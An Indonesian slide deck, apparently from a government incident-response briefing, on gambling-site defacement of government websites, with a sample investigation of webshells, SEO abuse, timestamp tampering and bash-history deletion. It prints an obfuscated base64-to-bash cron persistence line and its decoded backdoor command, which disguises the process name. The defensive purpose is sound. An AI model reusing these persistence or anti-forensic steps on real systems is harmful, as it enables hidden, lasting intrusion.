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JUDI ONLINE SEMAKIN MERESAHKAN

Sumber : google.com
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TRANSAKSI JUDI ONLINE

Sumber : Indonesiabaik.id

Berapa transaksi 
tahun 2024 ???
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TRANSAKSI JUDI ONLINE

Sumber : CNBC Indonesia
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FENOMENA JOGET SADBOR

Sumber : google.com

BAGAIMANA KETERKAITANNYA DENGAN PROMOSI JUDI ONLINE?
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FENOMENA JOGET SADBOR

Sumber : Youtube - Pace Komputer

Akun dengan 
saweran tertinggi
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FENOMENA JOGET SADBOR

Sumber : Youtube - Pace Komputer

Profil akun tiktok mengarahkan untuk mencari ke google Halaman yang muncul merupakan website instansi yang 

telah terkena web defacement judi online

Ketika tombol dihalaman deface diklik maka akhirnya 

akan diarahkan ke website asli judi online
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FENOMENA JOGET SADBOR

Akun judi online memberikan 

saweran dengan nominal yang 

lumayan besar untuk mendapatkan 

perhatian

Ketika membuka profil maka akan 

diarahkan untuk melakukan 

pencarian di search engine sesuai 

dengan deskripsi profil akun judi 

online

Yang muncul paling atas merupakan 

Website K/L yang telah terkena 

serangan web defacement judi 

online

Ketika diklik akan mengarahkan ke 

website judi online yang asli
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SATGAS PEMBERANTASAN JUDI ONLINE

Sumber : google.com
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Sumber : Lanskap Keamanan Siber Indonesia 2023 (BSSN)
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APA ITU WEB 
DEFACEMENT ???
Web defacement merupakan suatu serangan pada website 
yang mengubah tampilan asli atau konten dari sebuah website. 
Web defacement belakangan ini marak terjadi pada situs milik 
pemerintah dan pendidikan, terutama web defacement judi 
online.
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1. Reputasi : Tampilan halaman judi online yang tidak pantas 
atau ilegal pada situs pemerintah akan menciptakan kesan 
negatif terhadap integritas.

2. Kepercayaan : Masyarakat akan meragukan keamanan dan
keandalan situs pemerintah, serta kemampuan pemerintah
dalam melindungi data sensitif dan informasi publik.

3. Availability :Defacement dapat menyebabkan gangguan
pada layanan yang disediakan oleh situs pemerintah serta
dapat menyebabkan ketidaknyamanan dan ketidakpuasan
masyarakat terhadap pemerintah.

DAMPAK
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Preparation

Detection

Analysis Containment Eradication Recovery
Post Incident Act
(Lessons Learned)

Incident?
(Triage)

Declare 
Incident

Close 
Incident

Update Incident 
Criteria

Improve 
Analysis 

Capability

Improve 
Containment 

Capability

Improve 
Eradication 
Capability

Report 
Incident

Incident/Crisis 
Handling 

Coordination*

Improve 
Recovery 
Capability

Preparation

Detection

Analysis

Containment

Eradication

Recovery

Post Incident 
Activity

Fase ini meliputi tindakan-tindakan untuk mempersiapkan

organisasi dalam menghadapi insiden keamanan siber.

Fase ini meliputi tindakan-tindakan untuk mengidentifikasi dan 

melakukan verifikasi terhadap insiden keamanan siber yang 

terjadi.

Fase ini meliputi tindakan-tindakan untuk menelaah dan 

menentukan jenis, skala dan dampak dari insiden yang terjadi.

Fase ini meliputi tindakan-tindakan untuk mencegah

penyebarluasan insiden ke komponen sistem atau layanan TI 

lainnya.

Fase ini meliputi tindakan-tindakan untuk menghapus atau

menghilangkan sumber penyebab insiden. 

Fase ini meliputi tindakan-tindakan untuk memulihkan layanan dan data 

yang terganggu atau terdampak oleh insiden.

Fase ini meliputi tindakan-tindakan dalam mengevaluasi hasil

pembelajaran dalam penanganan insiden dan kendali keamanan yang 

diperlukan dalam mendeteksi serta mencegah insiden serupa di 

kemudian hari.

NIST SP 800-61

PROSEDUR PENANGANAN INSIDEN SIBER
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ALUR SERANGAN WEB DEFACEMENT
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• Log Files adalah informasi yang sangat berharga yang disediakan oleh server yang 

melakukan pencatatan aktivitas, peristiwa dan tindakan yang terjadi selama runtime suatu 

layanan atau aplikasi.  Aktivitas tersebut berisi informasi penting tentang kapan, 

bagaimana, dan “oleh siapa” server sedang diakses.

• Web Server log : access.log dan error.log

• Sistem log : auth.log, syslog

• Database log : mysql.log

88.54.124.17 - - [16/Apr/2016:07:44:08 +0100] "GET /main.php HTTP/1.1" 200 203 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"access.log

Alamat IP 
pengunjung

Waktu 
(timestamp)

Request Method : 
GET/POST

Halaman/Page/File 
yang diakses

Status Code :
200 OK
404 Not Found

Browser atau User Agent yang digunakan 
untuk melakukan akses

LOG ANALISIS
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Serangan Local File Inclusion (LFI)
dan Remote File Inculesion (RFI)

Serangan SQL Injection kepada 
Database Server
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Berdasarkan analisis log, ditemukan adanya aktivitas eksekusi webshell alfa403.php pada tanggal 
2 Juli 2024 pukul 21:49:54 WIB oleh alamat IP penyerang pada direktori /wp-content/uploads.

EKSEKUSI WEBSHELL

CONTOH TEMUAN ALUR SERANGAN
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Di Linux, bash history merujuk pada fitur yang menyimpan riwayat perintah-perintah yang 
telah dieksekusi di terminal menggunakan Bash shell. Riwayat perintah ini disimpan dalam 
file yang disebut .bash_history. 

Bash history memiliki peran yang sangat penting dalam konteks insiden respon di dunia 
keamanan siber. Riwayat perintah yang disimpan di dalam file .bash_history atau sistem 
pencatatan lainnya dapat memberikan informasi yang sangat berguna dalam mendeteksi, 
menganalisis, dan mengatasi insiden keamanan.

BASH HISTORY

/home/username/.bash_history
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Bash history memiliki fungsi dalam insiden respon, antara lain:
1. Melacak Aktivitas Penyerang

• Melacak langkah-langkah yang diambil oleh penyerang
• Mendeteksi perintah mencurigakan

2. Menganalisis Perintah yang Menunjukkan Eskalasi Hak Akses
• Menggunakan perintah sudo: Misalnya, perintah sudo su atau sudo bash yang

bertujuan untuk mendapatkan akses superuser.
• Modifikasi file konfigurasi: Mengedit file konfigurasi yang mengontrol hak akses atau

sistem keamanan.
3. Mendeteksi Perintah untuk Menghapus Jejak

• Penyerang sering kali mencoba untuk menghapus jejak mereka setelah melakukan 
intrusi. Mereka mungkin mencoba menghapus riwayat perintah menggunakan history -
c atau dengan menghapus file .bash_history.

BASH HISTORY
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Kemudian ditemukan adanya percobaan aktivitas pengubahan password user xxxx. Namun jika 
menemukan aktifitas ini harus dipastikan kembali apakah pengubahan password berikut berhasil 
atau tidak. Kemudian terlihat penyerang melakukan pengunduhan file yang ternyata merupakan 
file robots.txt.

IDENTIFIKASI BASH HISTORY SYSTEM

CONTOH TEMUAN ALUR SERANGAN
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Apa saja fungsi dan kegunaan dari robots.txt? 
• Membatasi proses crawl bot mesin pencari untuk mengakses website, sehingga 

kapasitas load server website tetap terjaga.
• Meringankan beban server website.
• Memastikan terdapat laman website yang tetap private untuk tujuan staging, pengaturan, 

tes, dan keperluan lainnya.
• Menentukan atau mengatur lama mana saja yang bisa di akses Google Crawler atau mesin 

pencari lainnya

ROBOTS.TXT
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Pada contoh tersebut, robots.txt akan memberikan izin 
kepada Googlebot atau robot bot dari mesin pencari 
Google untuk melakukan crawl atas semua data atau 
laman yang ada di dalam website. Namun, robots.txt tidak 
memberikan izin Googlebot untuk crawl pada laman 
Contact.

CONTOH
User-agent: Googlebot

Allow: /

Disallow: /contact/
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Setelah dilakukan pemeriksaan ternyata penyerang berusaha untuk membuat file robots yang 
mengindikasikan bahwa tidak ada pembatasan untuk bot dan search engine untuk dapat 
mengakses semua halaman dan direktori situs web.

IDENTIFIKASI BASH HISTORY SYSTEM

User-agent: *

Disallow:

CONTOH TEMUAN ALUR SERANGAN
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Kemudian penyerang diindikasikan melakukan pemeriksaan pada file bash history yang 
merupakan file yang menyimpan riwayat perintah yang telah dijalankan di terminal oleh 
pengguna saat ini. Setelah itu penyerang melakukan upaya penghapusan file tersebut dengan 
tujuan agar riwayat perintah yang tersimpan tidak akan bisa diakses lagi.

IDENTIFIKASI BASH HISTORY SYSTEM

CONTOH TEMUAN ALUR SERANGAN
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Setelah itu penyerang diindikasikan melakukan pembuatan folder baru dengan nama bonus100. 
Kemudian penyerang mengunduh file index.php.

IDENTIFIKASI BASH HISTORY SYSTEM

CONTOH TEMUAN ALUR SERANGAN
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Setelah dilakukan pemeriksaan ternyata fie index.php tersebut merupakan halaman perjudian 
daring yang akan disisipkan oleh penyerang.

IDENTIFIKASI BASH HISTORY SYSTEM

CONTOH TEMUAN ALUR SERANGAN
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Kemudian penyerang kembali mengunduh file sitemap.xml. Berdasarkan analisis, konfigurasi file
robots.txt dan sitemap.xml tersebut digunakan penyerang untuk dapat melakukan indexing pada
search engine agar halaman index.php yang berisi halaman judi online dapat ditemukan dengan
mudah pada hasil pencarian search engine.

IDENTIFIKASI BASH HISTORY SYSTEM

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">

<url>

<loc>https://xxxx.xxxx.go.id/wp-content/product/bonus100/</loc>

</url>

</urlset>

CONTOH TEMUAN ALUR SERANGAN
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Setelah itu penyerang juga melakukan pengubahan izin akses pada direktori wp-includes menjadi 
0777. Pengubahan izin akses tersebut dapat menimbulkan risiko keamanan karena setiap orang 
dapat mengubah, memodifikasi atau menjalankan file tersebut. Kemudian penyerang melakukan 
pengubahan timestamp pada direktori menjadi tanggal 3 Maret 2021, pukul 12:12:00 dengan 
tujuan untuk mengelabuhi bahwa file ini seolah-olah sudah ada sejak lama.

IDENTIFIKASI BASH HISTORY SYSTEM

CONTOH TEMUAN ALUR SERANGAN
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Cronjob adalah fitur dalam sistem operasi Linux yang memungkinkan pengguna untuk menjadwalkan 

tugas-tugas tertentu untuk dijalankan secara otomatis pada waktu-waktu tertentu. Bisa berguna untuk 

tugas-tugas rutin seperti backup data, pengiriman email, atau pembaruan sistem. Namun, bisa 

dimanfaatkan oleh attacker untuk menjadwalkan malicious file tertentu.

CRONJOB
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Ditemukan adanya proses terjadwal yang berjalan pada sistem yang berisikan script 
terobfuskasi. Aktivitas ini tercatat pada daftar Cron dan dijalankan setiap jam pada menit ke-0, 
seperti 01.00 atau 02.00. Adapun Cron tersebut dapat terlihat sebagai berikut:

TEMUAN UPAYA PERSISTENT

Cron jobs for user: www-data

# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel

0 * * * * { echo 

L3Vzci9iaW4vcGtpbGwgLTAgLVUzMyBkZWZ1bmN0IDI+L2Rldi9udWxsIHx8I

FNIRUxMPSBURVJNPXh0ZXJtLTI1NmNvbG9yIEdTX0FSR1M9Ii1rIC92YXIvd3

d3Ly5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL2Jpbi9iYXNoIC1

jICJleGVjIC1hICdbc2x1Yl9mbHVzaHdxXScgJy92YXIvd3d3Ly5jb25maWcv

aHRvcC9kZWZ1bmN0JyIgMj4vZGV2L251bGwK|base64 -d|bash;} 

2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng 

defunct-kernel

CONTOH TEMUAN ALUR SERANGAN
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Pada Cron sebelumnya terdapat string yang diencode menggunakan base64 yang kemudian akan 
dieksekusi sebagai perintah shell. Apabila didecode, string tersebut akan menjadi perintah 
sebagai berikut:

TEMUAN UPAYA PERSISTENT

/usr/bin/pkill -0 -U33 defunct 2>/dev/null || SHELL= TERM=xterm-256color

GS_ARGS="-k /var/www/.config/htop/defunct.dat -liqD" /bin/bash -c "exec -a

'[slub_flushwq]' '/var/www/.config/htop/defunct'" 2>/dev/null

Secara umum perintah ini akan dijalankan dengan nama proses “slub_flushwq” yang bertujuan 
untuk memastikan bahwa backdoor/webshell yang sudah terpasang pada sistem tetap berjalan 
meskipun ada upaya untuk mematikannya. 

CONTOH TEMUAN ALUR SERANGAN
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Kemudian dilakukan pemeriksaan pada daftar aplikasi berjalan dan ditemukan status defunct 
(atau "zombie") yang menunjukkan bahwa proses telah selesai eksekusi tetapi masih memiliki 
entri di tabel proses. Hal ini dapat menjadi indikasi cara penyerang mempertahankan metode 
persistent.

TEMUAN UPAYA PERSISTENT

CONTOH TEMUAN ALUR SERANGAN
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TEMUAN PENYEMBUNYIAN MALWARE
• File malicious yang disamarkan sebagai gambar
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TEMUAN PENYEMBUNYIAN MALWARE
• File malicious yang dikaburkan dengan teknik obfuskasi
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TEMUAN PENYEMBUNYIAN MALWARE

Jika proses login berhasil akan muncul tampilan 

webshell seperti berikut yang memiliki fungsi antara 

lain: 

• Privilege escalation

• Mass deface

• Database dump

• File upload

• Pencarian direktori dan 

• Fungsi-fungsi lainnya yang dapat merusak Sistem 

Elektronik yang telah disusupi. 
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REKOMENDASI
1. Melakukan pergantian kredensial user pada sistem dan membatasi akses masuk kedalam system.
2. Menerapkan system keamanan two-factor authentication atau multi factor authentication.
3. Hanya membuka port yang digunakan.
4. Mematikan layanan/plugin yang tidak digunakan.
5. Melakukan pencarian dan penghapusan file malicious yang masih tersisa.
6. Melakukan sanitasi input.
7. Melakukan pemantauan traffic jaringan dan penerapan beberapa rules pada firewall untuk memitigasi 

aktivitas malicious.
8. Melakukan pengujian keamanan aplikasi untuk menemukan kerentanan pada aplikasi sehingga dapat 

menghindari serangan yang sama yang memanfaatkan kerentanan system.
9. Melakukan pemasangan agent EDR (endpoint detection response) atau IDS/IPS (Intrusion 

Detection/Prevention System) untuk mendeteksi serangan dan mengambil tindakan pencegahan 
secara otomatis.

10. Perlunya penerapan manajemen log yang baik.
11. Melakukan update aplikasi dan sistem keamanan secara rutin.
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